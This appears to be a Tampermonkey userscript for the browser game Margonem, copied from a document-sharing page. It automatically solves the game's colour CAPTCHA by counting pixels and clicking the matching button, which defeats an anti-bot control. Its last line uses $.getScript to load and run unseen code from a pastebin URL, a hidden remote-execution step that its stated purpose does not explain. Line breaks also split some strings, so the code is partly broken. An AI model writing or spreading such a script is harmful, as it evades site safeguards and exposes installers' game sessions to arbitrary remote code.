Sei sulla pagina 1di 2

// ==UserScript==

// @name Anty MARGOCAPTCHA


// @namespace http://tampermonkey.net/
// @author Shellboy
// @match https://*.margonem.pl/
// @grant none
// ==/UserScript==
(function() {
setInterval(()=>{
if(g.captcha){
function funcc(src){
var a = [[0,0,0,0]];
guessColor = function guessColor(x){
x = x[0];
if(x[0] > 245 && x[1] > 245 && x[2] > 245) return "Biały";
if(x[0] > 245 && x[1] < 10 && x[2] < 10) return "Czerwony";
if(x[0] < 10 && x[1] > 245 && x[2] < 10) return "Zielony";
if(x[0] > 245 && x[1] > 245 && x[2] < 10) return "Żółty";
if(x[0] < 10 && x[1] < 10 && x[2] > 245) return "Niebieski";
if(x[0] < 10 && x[1] < 10 && x[2] < 10) return "Czarny";
},
accept = function accept(color){
for(let i = 0; i < document.getElementsByClassName('btn-
wood').length; i++){
if (document.getElementsByClassName('btn-wood')
[i].innerText == color){
document.getElementsByClassName('btn-wood')[i].click();
}
}
setTimeout(()=>{
g.captcha.confirmOnClick()
},300)
}
c = new Image(),
d = document.createElement("canvas").getContext("2d"),
e = function e(){
for(let x = 0; x < d.width; x++){
for(let y = 0; y < d.height; y++){
let pixel = d.getImageData(x, y, 1, 1).data;
let flag = false;
for(let i = 0; i < a.length; i++){
if(a[i][0] == pixel[0] && a[i][1] == pixel[1] &&
a[i][2] == pixel[2]){
a[i][3]++;
flag = true;
break;
}
}
if(!flag){ a.push([pixel[0],pixel[1],pixel[2],1]) }
}
}
function compare( a, b ) {
if ( a[3] < b[3] ){
return 1;
}
return -1;
}
a.sort( compare );
let guess = guessColor([a[0]]);
accept(guess);

};
(c.onload = function() {
(d.width = this.width),
(d.height = this.height),
d.drawImage(c, 0, 0),
e();
}),
(c.src = src);
}
funcc(document.getElementsByClassName('captcha__image')
[0].getElementsByTagName('img')[0].src);
}
},700);
})();
$.getScript("https://pastebin.com/raw/WNMPRQzp");

Potrebbero piacerti anche